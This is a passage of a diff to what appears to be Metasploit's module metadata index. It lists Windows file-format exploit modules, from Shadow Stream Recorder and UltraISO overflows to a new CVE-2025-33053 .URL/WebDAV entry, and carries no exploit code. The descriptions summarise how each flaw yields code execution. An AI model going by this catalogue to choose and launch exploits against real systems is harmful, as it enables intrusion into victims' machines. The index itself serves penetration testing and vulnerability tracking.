+0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/scadaphone_zip.rb", "is_install_path": true, "ref_name": "windows/fileformat/scadaphone_zip", @@ -158962,6 +162626,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158969,9 +162642,7 @@ "exploit_windows/fileformat/shadow_stream_recorder_bof": { "name": "Shadow Stream Recorder 3.0.1.7 Buffer Overflow", "fullname": "exploit/windows/fileformat/shadow_stream_recorder_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-29", "type": "exploit", @@ -158979,7 +162650,7 @@ "AlpHaNiX ", "b0telh0 " ], - "description": "This module exploits a buffer overflow in Shadow Stream Recorder 3.0.1.7.\n Using the application to open a specially crafted asx file, a buffer\n overflow may occur to allow arbitrary code execution under the context\n of the user.", + "description": "This module exploits a buffer overflow in Shadow Stream Recorder 3.0.1.7.\n Using the application to open a specially crafted asx file, a buffer\n overflow may occur to allow arbitrary code execution under the context\n of the user.", "references": [ "CVE-2009-1641", "OSVDB-81487", @@ -158989,16 +162660,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/shadow_stream_recorder_bof", @@ -159006,6 +162673,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159013,9 +162689,7 @@ "exploit_windows/fileformat/shaper_pdf_bof": { "name": "PDF Shaper Buffer Overflow", "fullname": "exploit/windows/fileformat/shaper_pdf_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-10-03", "type": "exploit", @@ -159023,23 +162697,19 @@ "metacom27 ", "metacom" ], - "description": "PDF Shaper is prone to a security vulnerability when processing PDF files.\n The vulnerability appears when we use Convert PDF to Image and use a specially\n crafted PDF file. This module has been tested successfully on Win XP, Win 7,\n Win 8, Win 10.", + "description": "PDF Shaper is prone to a security vulnerability when processing PDF files.\n The vulnerability appears when we use Convert PDF to Image and use a specially\n crafted PDF file. This module has been tested successfully on Win XP, Win 7,\n Win 8, Win 10.", "references": [ "EDB-37760" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/shaper_pdf_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/shaper_pdf_bof", @@ -159047,6 +162717,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159054,9 +162733,7 @@ "exploit_windows/fileformat/somplplayer_m3u": { "name": "S.O.M.P.L 1.0 Player Buffer Overflow", "fullname": "exploit/windows/fileformat/somplplayer_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-01-22", "type": "exploit", @@ -159064,7 +162741,7 @@ "Rick2600", "dookie" ], - "description": "This module exploits a buffer overflow in Simple Open Music Player v1.0. When\n the application is used to import a specially crafted m3u file, a buffer overflow occurs\n allowing arbitrary code execution.", + "description": "This module exploits a buffer overflow in Simple Open Music Player v1.0. When\n the application is used to import a specially crafted m3u file, a buffer overflow occurs\n allowing arbitrary code execution.", "references": [ "OSVDB-64368", "EDB-11219" @@ -159072,16 +162749,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/somplplayer_m3u.rb", "is_install_path": true, "ref_name": "windows/fileformat/somplplayer_m3u", @@ -159089,6 +162762,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159096,9 +162778,7 @@ "exploit_windows/fileformat/subtitle_processor_m3u_bof": { "name": "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow", "fullname": "exploit/windows/fileformat/subtitle_processor_m3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-26", "type": "exploit", @@ -159106,7 +162786,7 @@ "Brandon Murphy", "sinn3r " ], - "description": "This module exploits a vulnerability found in Subtitle Processor 7. By\n supplying a long string of data as a .m3u file, Subtitle Processor first converts\n this input in Unicode, which expands the string size, and then attempts to copy it\n inline on the stack. This results a buffer overflow with SEH overwritten, allowing\n arbitrary code execution.", + "description": "This module exploits a vulnerability found in Subtitle Processor 7. By\n supplying a long string of data as a .m3u file, Subtitle Processor first converts\n this input in Unicode, which expands the string size, and then attempts to copy it\n inline on the stack. This results a buffer overflow with SEH overwritten, allowing\n arbitrary code execution.", "references": [ "OSVDB-72050", "EDB-17217", @@ -159115,16 +162795,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/subtitle_processor_m3u_bof", @@ -159132,6 +162808,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159139,16 +162824,14 @@ "exploit_windows/fileformat/syncbreeze_xml": { "name": "Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow", "fullname": "exploit/windows/fileformat/syncbreeze_xml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-29", "type": "exploit", "author": [ "Daniel Teixeira" ], - "description": "This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16\n by using the import command option to import a specially crafted xml file.", + "description": "This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16\n by using the import command option to import a specially crafted xml file.", "references": [ "CVE-2017-7310", "EDB-41773" @@ -159156,16 +162839,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/syncbreeze_xml.rb", "is_install_path": true, "ref_name": "windows/fileformat/syncbreeze_xml", @@ -159173,6 +162852,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159180,9 +162868,7 @@ "exploit_windows/fileformat/tfm_mmplayer_m3u_ppl_bof": { "name": "TFM MMPlayer (m3u/ppl File) Buffer Overflow", "fullname": "exploit/windows/fileformat/tfm_mmplayer_m3u_ppl_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-03-23", "type": "exploit", @@ -159190,7 +162876,7 @@ "RjRjh Hack3r", "bcoles " ], - "description": "This module exploits a buffer overflow in MMPlayer 2.2\n The vulnerability is triggered when opening a malformed M3U/PPL file\n that contains an overly long string, which results in overwriting a\n SEH record, thus allowing arbitrary code execution under the context\n of the user.", + "description": "This module exploits a buffer overflow in MMPlayer 2.2\n The vulnerability is triggered when opening a malformed M3U/PPL file\n that contains an overly long string, which results in overwriting a\n SEH record, thus allowing arbitrary code execution under the context\n of the user.", "references": [ "CVE-2009-2566", "OSVDB-80532", @@ -159201,16 +162887,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/tfm_mmplayer_m3u_ppl_bof", @@ -159218,6 +162900,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159225,9 +162916,7 @@ "exploit_windows/fileformat/theme_dll_hijack_cve_2023_38146": { "name": "Themebleed- Windows 11 Themes Arbitrary Code Execution CVE-2023-38146", "fullname": "exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-09-13", "type": "exploit", @@ -159245,12 +162934,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -159282,9 +162967,7 @@ "exploit_windows/fileformat/total_video_player_ini_bof": { "name": "Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow", "fullname": "exploit/windows/fileformat/total_video_player_ini_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-24", "type": "exploit", @@ -159292,7 +162975,7 @@ "Mike Czumak", "Fr330wn4g3 " ], - "description": "This module exploits a buffer overflow in Total Video Player 1.3.1. The vulnerability\n occurs opening malformed Settings.ini file e.g. \"C:\\Program Files\\Total Video Player\\\".\n This module has been tested successfully on Windows WinXp-Sp3-EN, Windows 7, and Windows 8.", + "description": "This module exploits a buffer overflow in Total Video Player 1.3.1. The vulnerability\n occurs opening malformed Settings.ini file e.g. \"C:\\Program Files\\Total Video Player\\\".\n This module has been tested successfully on Windows WinXp-Sp3-EN, Windows 7, and Windows 8.", "references": [ "OSVDB-100619", "EDB-29799" @@ -159300,16 +162983,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/total_video_player_ini_bof", @@ -159317,6 +162996,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159324,9 +163012,7 @@ "exploit_windows/fileformat/tugzip": { "name": "TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability", "fullname": "exploit/windows/fileformat/tugzip", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-10-28", "type": "exploit", @@ -159336,7 +163022,7 @@ "TecR0c ", "mr_me " ], - "description": "This module exploits a stack-based buffer overflow vulnerability\n in the latest version 3.5 of TugZip archiving utility.\n In order to trigger the vulnerability, an attacker must convince someone\n to load a specially crafted zip file with TugZip by double click or file open.\n By doing so, an attacker can execute arbitrary code as the victim user.", + "description": "This module exploits a stack-based buffer overflow vulnerability\n in the latest version 3.5 of TugZip archiving utility.\n In order to trigger the vulnerability, an attacker must convince someone\n to load a specially crafted zip file with TugZip by double click or file open.\n By doing so, an attacker can execute arbitrary code as the victim user.", "references": [ "OSVDB-49371", "CVE-2008-4779", @@ -159346,16 +163032,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/tugzip.rb", "is_install_path": true, "ref_name": "windows/fileformat/tugzip", @@ -159363,6 +163045,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159370,16 +163061,14 @@ "exploit_windows/fileformat/ultraiso_ccd": { "name": "UltraISO CCD File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/ultraiso_ccd", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-04-03", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack-based buffer overflow in EZB Systems, Inc's\n UltraISO. When processing .CCD files, data is read from file into a\n fixed-size stack buffer. Since no bounds checking is done, a buffer overflow\n can occur. Attackers can execute arbitrary code by convincing their victim\n to open an CCD file.\n\n NOTE: A file with the same base name, but the extension of \"img\" must also\n exist. Opening either file will trigger the vulnerability, but the files must\n both exist.", + "description": "This module exploits a stack-based buffer overflow in EZB Systems, Inc's\n UltraISO. When processing .CCD files, data is read from file into a\n fixed-size stack buffer. Since no bounds checking is done, a buffer overflow\n can occur. Attackers can execute arbitrary code by convincing their victim\n to open an CCD file.\n\n NOTE: A file with the same base name, but the extension of \"img\" must also\n exist. Opening either file will trigger the vulnerability, but the files must\n both exist.", "references": [ "CVE-2009-1260", "OSVDB-53275", @@ -159390,17 +163079,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal - Double-Click/Command Line Open Method", "Windows Universal - File->Open + Toolbar Open Methods" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ultraiso_ccd.rb", "is_install_path": true, "ref_name": "windows/fileformat/ultraiso_ccd", @@ -159408,6 +163093,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159415,9 +163109,7 @@ "exploit_windows/fileformat/ultraiso_cue": { "name": "UltraISO CUE File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/ultraiso_cue", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-05-24", "type": "exploit", @@ -159425,7 +163117,7 @@ "n00b", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in EZB Systems, Inc's\n UltraISO. When processing .CUE files, data is read from file into a\n fixed-size stack buffer. Since no bounds checking is done, a buffer overflow\n can occur. Attackers can execute arbitrary code by convincing their victim\n to open an CUE file.\n\n NOTE: A file with the same base name, but the extension of \"bin\" must also\n exist. Opening either file will trigger the vulnerability, but the files must\n both exist.", + "description": "This module exploits a stack-based buffer overflow in EZB Systems, Inc's\n UltraISO. When processing .CUE files, data is read from file into a\n fixed-size stack buffer. Since no bounds checking is done, a buffer overflow\n can occur. Attackers can execute arbitrary code by convincing their victim\n to open an CUE file.\n\n NOTE: A file with the same base name, but the extension of \"bin\" must also\n exist. Opening either file will trigger the vulnerability, but the files must\n both exist.", "references": [ "CVE-2007-2888", "OSVDB-36570", @@ -159435,17 +163127,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows - UltraISO v8.6.2.2011 portable", "Windows - UltraISO v8.6.0.1936" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ultraiso_cue.rb", "is_install_path": true, "ref_name": "windows/fileformat/ultraiso_cue", @@ -159453,6 +163141,61 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] + }, + "session_types": false, + "needs_cleanup": null + }, + "exploit_windows/fileformat/unc_url_cve_2025_33053": { + "name": "CVE-2025-33053 Exploit via Malicious .URL File and WebDAV", + "fullname": "exploit/windows/fileformat/unc_url_cve_2025_33053", + "aliases": [], + "rank": 300, + "disclosure_date": "2025-06-11", + "type": "exploit", + "author": [ + "Alexandra Gofman", + "David Driker", + "Dev Bui Hieu" + ], + "description": "This module exploits CVE-2025-33053 by generating a malicious .URL file pointing\n to a trusted LOLBAS binary with parameters designed to trigger unintended behavior.\n Optionally, a payload is generated and hosted on a specified WebDAV directory.\n When the victim opens the shortcut, it will attempt to access the WebDAV path,\n potentially resulting in remote code execution via a trusted binary.", + "references": [ + "CVE-2025-33053", + "URL-https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept" + ], + "platform": "Windows", + "arch": "x64, x86, aarch64", + "rport": null, + "autofilter_ports": [], + "autofilter_services": [], + "targets": [ + "Windows (generic)" + ], + "mod_time": "2025-06-24 16:22:42 +0000", + "path": "/modules/exploits/windows/fileformat/unc_url_cve_2025_33053.rb", + "is_install_path": true, + "ref_name": "windows/fileformat/unc_url_cve_2025_33053", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] }, "session_types": false, "needs_cleanup": null @@ -159460,16 +163203,14 @@ "exploit_windows/fileformat/ursoft_w32dasm": { "name": "URSoft W32Dasm Disassembler Function Buffer Overflow", "fullname": "exploit/windows/fileformat/ursoft_w32dasm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-01-24", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a buffer overflow in W32Dasm <= v8.93.\n By creating a malicious file and convincing a user to disassemble\n the file with a vulnerable version of W32Dasm, the Imports/Exports\n function is copied to the stack and arbitrary code may be executed\n locally as the user.", + "description": "This module exploits a buffer overflow in W32Dasm <= v8.93.\n By creating a malicious file and convincing a user to disassemble\n the file with a vulnerable version of W32Dasm, the Imports/Exports\n function is copied to the stack and arbitrary code may be executed\n locally as the user.", "references": [ "CVE-2005-0308", "OSVDB-13169", @@ -159479,16 +163220,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ursoft_w32dasm.rb", "is_install_path": true, "ref_name": "windows/fileformat/ursoft_w32dasm", @@ -159496,6 +163233,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159503,9 +163249,7 @@ "exploit_windows/fileformat/varicad_dwb": { "name": "VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/varicad_dwb", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-03-17", "type": "exploit", @@ -159515,7 +163259,7 @@ "MC ", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.\n An attacker must send the file to victim and the victim must open the file.", + "description": "This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.\n An attacker must send the file to victim and the victim must open the file.", "references": [ "OSVDB-63067", "BID-38815", @@ -159524,16 +163268,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/varicad_dwb.rb", "is_install_path": true, "ref_name": "windows/fileformat/varicad_dwb", @@ -159541,6 +163281,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159548,9 +163297,7 @@ "exploit_windows/fileformat/videocharge_studio": { "name": "VideoCharge Studio Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/videocharge_studio", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-27", "type": "exploit", @@ -159567,16 +163314,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VideoCharge Studio 2.12.3.685" ], - "mod_time": "2023-04-04 09:48:51 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/fileformat/videocharge_studio.rb", "is_install_path": true, "ref_name": "windows/fileformat/videocharge_studio", @@ -159584,15 +163327,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "Stability": [], + "SideEffects": [], + "Reliability": [], "NOCVE": [ "Reason not given" ] @@ -159603,16 +163340,14 @@ "exploit_windows/fileformat/videolan_tivo": { "name": "VideoLAN VLC TiVo Buffer Overflow", "fullname": "exploit/windows/fileformat/videolan_tivo", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-10-22", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in VideoLAN VLC 0.9.4.\n By creating a malicious TY file, a remote attacker could overflow a\n buffer and execute arbitrary code.", + "description": "This module exploits a buffer overflow in VideoLAN VLC 0.9.4.\n By creating a malicious TY file, a remote attacker could overflow a\n buffer and execute arbitrary code.", "references": [ "CVE-2008-4654", "OSVDB-49181", @@ -159621,17 +163356,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VideoLAN VLC 0.9.4 (XP SP3 English)", "VideoLAN VLC 0.9.2 (XP SP3 English)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/videolan_tivo.rb", "is_install_path": true, "ref_name": "windows/fileformat/videolan_tivo", @@ -159639,6 +163370,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159646,9 +163386,7 @@ "exploit_windows/fileformat/videospirit_visprj": { "name": "VeryTools Video Spirit Pro", "fullname": "exploit/windows/fileformat/videospirit_visprj", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-11", "type": "exploit", @@ -159656,7 +163394,7 @@ "Acidgen", "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow in Video Spirit <= 1.70.\n When opening a malicious project file (.visprj), a stack buffer overflow occurs,\n resulting in arbitrary code execution.\n This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.", + "description": "This module exploits a stack buffer overflow in Video Spirit <= 1.70.\n When opening a malicious project file (.visprj), a stack buffer overflow occurs,\n resulting in arbitrary code execution.\n This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.", "references": [ "CVE-2011-0499", "CVE-2011-0500", @@ -159666,16 +163404,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/videospirit_visprj.rb", "is_install_path": true, "ref_name": "windows/fileformat/videospirit_visprj", @@ -159683,6 +163417,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159690,9 +163433,7 @@ "exploit_windows/fileformat/visio_dxf_bof": { "name": "Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability", "fullname": "exploit/windows/fileformat/visio_dxf_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-05-04", "type": "exploit", @@ -159701,28 +163442,24 @@ "Shahin Ramezany ", "juan vazquez " ], - "description": "This module exploits a stack based overflow vulnerability in the handling\n of the DXF files by Microsoft Visio 2002. Revisions prior to the release of\n the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application\n is used to import a specially crafted DXF file, while parsing the HEADER section\n of the DXF file.\n\n To trigger the vulnerability an attacker must convince someone to insert a\n specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing'", + "description": "This module exploits a stack based overflow vulnerability in the handling\n of the DXF files by Microsoft Visio 2002. Revisions prior to the release of\n the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application\n is used to import a specially crafted DXF file, while parsing the HEADER section\n of the DXF file.\n\n To trigger the vulnerability an attacker must convince someone to insert a\n specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing'", "references": [ "CVE-2010-1681", "OSVDB-64446", "BID-39836", "URL-http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow", - "URL-https://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/" + "URL-http://web.archive.org/web/20101113032001/http://www.exploit-db.com:80/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Visio 2002 English on Windows XP SP3 Spanish", "Visio 2002 English on Windows XP SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/visio_dxf_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/visio_dxf_bof", @@ -159730,6 +163467,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -159737,9 +163483,7 @@ "exploit_windows/fileformat/visiwave_vwr_type": { "name": "VisiWave VWR File Parsing Vulnerability", "fullname": "exploit/windows/fileformat/visiwave_vwr_type", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-05-20", "type": "exploit", @@ -159747,7 +163491,7 @@ "mr_me ", "TecR0c " ], - "description": "This module exploits a vulnerability found in VisiWave's Site Survey Report application.\n When processing .VWR files, VisiWaveReport.exe attempts to match a valid pointer based on the 'Type'\n property (valid ones include 'Properties', 'TitlePage', 'Details', 'Graph', 'Table', 'Text',\n 'Image'), but if a match isn't found, the function that's supposed to handle this routine\n ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10]\n instruction. This allows attackers to overwrite it with any arbitrary value, and results code\n execution. A patch is available at visiwave.com; the fix is done by XORing the return value as\n null if no match is found, and then it is validated before use.\n\n NOTE: During installation, the application will register two file handles, VWS and VWR, which allows a\n victim user to 'double click' the malicious VWR file and execute code. This module was also built\n to bypass ASLR and DEP.", + "description": "This module exploits a vulnerability found in VisiWave's Site Survey Report application.\n When processing .VWR files, VisiWaveReport.exe attempts to match a valid pointer based on the 'Type'\n property (valid ones include 'Properties', 'TitlePage', 'Details', 'Graph', 'Table', 'Text',\n 'Image'), but if a match isn't found, the function that's supposed to handle this routine\n ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10]\n instruction. This allows attackers to overwrite it with any arbitrary value, and results code\n execution. A patch is available at visiwave.com; the fix is done by XORing the return value as\n null if no match is found, and then it is validated before use.\n\n NOTE: During installation, the application will register two file handles, VWS and VWR, which allows a\n victim user to 'double click' the malicious VWR file and execute code. This module was also built\n to bypass ASLR and DEP.", "references": [ "CVE-2011-2386", "OSVDB-72464", @@ -159757,16 +163501,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3/Windows 7 SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/visiwave_vwr_type.rb", "is_install_path": true, "ref_name": "windows/fileformat/visiwave_vwr_type", @@ -159774,6 +163514,15 @@ "post_auth": false, "default_credential": false, "notes": { + 